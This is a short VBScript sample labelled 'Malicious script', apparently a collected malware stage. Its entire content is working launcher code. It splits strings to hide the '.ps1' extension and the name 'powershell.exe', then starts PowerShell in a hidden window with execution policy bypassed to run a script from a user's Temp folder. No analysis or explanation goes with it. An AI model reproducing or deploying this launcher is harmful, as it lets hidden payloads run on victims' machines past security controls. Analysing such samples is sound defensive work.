Malicious script

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject("Scripting.FileSystemObject")
huih = "."&"ps"&"1"
currentFile = "C:\Users\PSPUBWS\AppData\Local\Temp\"&"26417"&huih
Set objShell = CreateObject("Wscript.shell")
objShell.Run ""+"p"&"owerS"+"h"+"ell.e"+"x"+"e -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true